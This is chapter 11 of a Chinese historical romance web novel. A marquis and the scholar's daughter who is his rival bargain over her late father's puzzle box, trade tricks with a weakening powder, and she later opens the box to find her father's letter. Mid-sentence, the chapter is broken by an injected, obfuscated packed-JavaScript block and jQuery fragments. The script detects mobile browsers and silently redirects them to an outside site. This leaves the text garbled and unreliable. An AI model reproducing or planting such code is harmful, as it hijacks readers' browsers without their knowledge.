11. 第 11 章

作品:《宿敌他对我蓄谋已久

    可谁知,季疏桐不仅来了,还早有预料知晓他会在这杀人,还去请了皇帝,她这是打算跟自己斗个你死我活不成?


    啧,麻烦。


    萧顾鸣心里长叹一口气,季疏桐是如何知晓他会在这杀人?还找到了这里,这是他心中的一大疑问。


    “侯爷想死,可别拉上我。”


    季疏桐的语气很轻:“不如我们做个交易,只要你将父亲的遗物归还给我,我就将今日之事都给通通忘掉。”


    萧顾鸣有些意外,原来她做这一切都只是为了太傅留给她的遗物。


    也是,在她的眼中,想必没有人能比她的阿父更为重要了。


    他沉默片刻,道:“季姑娘不是已经派人去请皇上了?如今我们做这交易又有何用?”


    季疏桐笑了笑,道:“弦月是我的人,我说让她不要来,她就不会带皇上前来,侯爷以为…我没有做两手打算吗?”


    萧顾鸣没出声,因为他知道,像季疏桐这样聪明的女子,来之前肯定是做好了万全的准备了。


    用他阿父的遗物换来他的安全,听起来是一件很不错的交易。


    可惜,他不吃这一套,他的目光猛地冷冽下来,漆黑的瞳孔照映着季疏桐的轮廓。


    他将手中握着的剑,朝季疏桐的脖子前更近了一些,剑与她的脖颈只差一毫。


    二人离得很近,萧顾鸣能闻得她身上飘出的淡淡香味,是栀子花香。


    好像从他认识季疏桐起,她的身上一直都是这股栀子花的味道。


    只听他冷道:“如果我说不呢?如果…我要杀了你呢?”


    季疏桐很了解萧顾鸣,他知道萧顾鸣隐忍多年,一直有自己的筹谋,而他也绝不会轻易放弃,他苦年筹谋多年的位置的。


    她道:“你不会的,你不会杀我,因为你不会放弃你图谋的一切,你不会甘心自己多年筹谋,却因我而化为乌有。”


    萧顾鸣冷笑一声,他们总是比对方更加了解彼此。


    “算你说的有理。”他话锋一转,盯着季疏桐道:“不过,我为何要与你做交易?”


    “先不论你说的是否是真的,就算说的是真的,你已经让人去禀告了皇上,你又有什么方法能够让皇上不怪罪于我。”


    门外的北掬将耳朵贴在门上,想听里面的动静,听了半天,什么也没听见。


    玉兰殿虽然破烂不堪,但这门隔音能力是真的好,北掬撇了撇嘴,转过身子,守在门外。


    他看了一眼地上的香传抱怨道:“你家姑娘可真是阴魂不散,都能亲自找到这来,还耽误侯爷的大事。”


    玉兰殿内,阳光透光窗棂照进殿内,空气中飘着粒粒细小的尘埃。


    季疏桐脖前还有着一把冰冷的剑,她轻声道:“只要你答应与我做交易,将阿父的遗物归还于我,我能保住你,不会让皇上知晓这一切,我也不会告诉任何人。”


    “至于你因何要杀光禄勋,我不会过问。”


    萧顾鸣沉默了半晌,才道:“你为何就如此笃定遗物就在我手中?”


    太傅去世时,他确实在他的手中发现了一个小木匣,他拿走那个木匣后,发现木匣原来是五行机关盒,他破解多日,还是没拿打开那个木匣。


    季疏桐:“遗物在不在你手中,我相信侯爷比我更清楚。”


    萧顾鸣盯着她看了半晌,低下头,从袖子里面取出一个四方,小巧的木匣,木匣上还刻着一朵栀子花。


    季疏桐一眼就认出那是何物,那是太傅生前亲手做得五行机关盒。


    之前太傅做这个五行机关盒时,季疏桐还在一旁见过,她不会认错的,她阿父留给她的遗物,就是这个五行机关盒。


    “这是我阿父的东西。”季疏桐道。


    萧顾鸣见她的反应如此迅速,不由地暗暗感叹,原本他是想着用这个木匣,去换她的九州图的,所以他才将这个木匣带走了。


    萧顾鸣道:“季姑娘要与我做交易,那我也同季姑娘做一个交易,季姑娘将九州图给我,我便将这个木匣交给你。”


    季疏桐目光看向那个五行机关盒,事到如今,萧顾鸣还在与她讨价还价,九州图肯定是不能交的。


    看来,她只能用那个方法了,她从袖口里掏出一把药粉,直往萧顾鸣的身上撒。


    这包药粉她藏了一路,一直放在袖子里面,如今算是派上用场了,她为了对付萧顾鸣,还特意往药粉里塞了双倍的软筋散,不管是武功多么厉害之人,只要沾染了一点,即刻就会浑身无力,武功也使不出来。


    萧顾鸣见她的动作,立即捂住了鼻子,可是为时已晚,他已经吸进去了一点。


    顿时,他感觉身子发软,身上没了力气。


    萧顾鸣拿剑的手越来越使不上力,只听哐当一声,掉在了地上。


    季疏桐见此知道是药效发作了,她从被他围堵在门框上的那只手下,溜了出来。


    她对他微微一笑,趁机拿走了那个木匣。


    只听她缓缓道:“你拿什么跟我做交易。”


    萧顾鸣想要阻止她,可惜他一点力气也无,只能眼睁睁地看着季疏桐拿走那个木匣。


    两次,他已经中了两次季疏桐给他下的毒了。


    此女真是个恶毒的姑娘。


    季疏桐得手后,转身打开门向门外走去,萧顾鸣愣在原地,他看着季疏桐的背影。


    少女身姿纤细,伴随着她的步伐,发尾上的红丝带也跟着飘扬着。


    门外的北掬见门打开了,立即走上前,准备迎接萧顾鸣,但走出来的却只有另一人。


    北掬看了眼季疏桐,见她浑身上下安然无恙,心情还看着很不错的样子,问道:“你怎么出来了,我家侯爷呢?”


    意识到事情不对,他上前控制住季疏桐,“你把侯爷怎么样了?”


    北掬深知季疏桐不是个简单小姑娘,毕竟她之前可有过亲手捅伤萧顾鸣的先例。


    季疏桐正准备答话。


    却听殿内传出少年的声音,“北掬,将她给捆了,带回侯府。”


    北掬得了令,立即从身上掏出一根绳子,紧紧地绑着季疏桐的双手。


    他看见季疏桐手中的木匣,感觉似曾相识,北掬好像在什么地方见过,他在哪见过呢?


    对了,他想起来了,他一拍脑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062426|195083||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    袋,这不是侯爷的东西吗?他曾经在侯爷那里见过。


    他看像季疏桐的眼神又带了点别的意味,这可恶的小娘子,还敢偷取侯爷的东西。


    季疏桐被北掬牵制着,她看向殿内,只见少年大步踏出殿门,步伐稳健,神态自若,一点都不像中了软筋散的样子。


    他没有中毒。


    怎么会,他怎么会没有中毒。


    萧顾鸣走到季疏桐面前,将不屑都摆在脸上,睨视她一眼道:“季姑娘以为,我栽跟头了一次,还会栽跟头第二次吗?你的这些小伎俩,我早就看清了。”


    季疏桐心下一凉,她漂亮的眉头皱起,是她大意了,她早该想到,萧顾鸣此人中计了一次,往后肯定会多加提防。


    她后悔了,她方才该用剧毒的。


    软筋散已对他无用了,香传还倒在地上,弦月又去找温临川了,那么她该如何做?


    她正准备说话,后颈却被人用力一敲,顿时她晕了过去。


    *


    等到季疏桐再醒过来时,天已渐黑,月光渐渐爬上树梢,寒冷的冬季总是雪多,天上渐渐又下起了小雪。


    侯府的一间角房内,刚换上的油灯正在燃烧着,榻上的季疏桐揉了揉自己发酸的后肩,吃力的环顾四周一圈。


    萧顾鸣这个卑鄙小人,竟敢暗算她。


    季疏桐感觉到自己空落落的手,她的神情变得慌乱起来,她的木匣子去哪了?


    她跪坐在榻上,四处寻找一番,最后目光停留在了榻前的小木桌上。


    小木桌上放着一个木匣子,木匣子旁有一盏烛台,微黄的烛光映在木匣的一侧。


    季疏桐目光一滞,她伸手拿起那个木匣,借着烛光能看见木匣上方刻着的那朵栀子花。


    她要指腹摩挲着栀子花的刻痕,望着虚空,面前突然浮现出季光耀在雕刻木匣的画面。


    季光耀笑容温和,他用他那充满着慈爱的眼神看着季疏桐,他柔声道:阿梧,快看阿父给你雕的栀子花。”


    “阿父……”


    季疏桐感觉眼睛发酸,她的眼眶里泛着泪花,泪水顺着她的脸庞,啪嗒啪嗒掉在床榻上。


    不过一瞬她又振作起来,她擦干眼泪,用手摸上了五行机关盒的机关处,这个盒子的解法,季太傅是告诉过她的。


    直觉告诉她,季太傅肯定在盒子里给她留了东西,当初季太傅是这样与她说的:“为父在五行机关盒里,给我们阿梧留了东西,等阿梧长到十六了,可一定要去看看。”


    可她现在等不了十六了,因为她阿父违约了,他没有活到她十六岁那年,也没能亲口告诉她木匣里的东西究竟是什么。


    季疏桐按照记忆里的解法,打开了五行机关盒,只听盒子响了一声,机关就被打开了,五行机关盒是榫卯结构,打开后就变成了几块木块。


    她想过很多种盒子里东西的可能。


    没想到竟然是一封信。


    那是一封没拆开过的书信,上面是阿父的笔迹,字迹却不如往日有劲。


    信的封面上,写着阿梧收。


    仔细一闻,还能闻到阿父常用的墨汁的味道。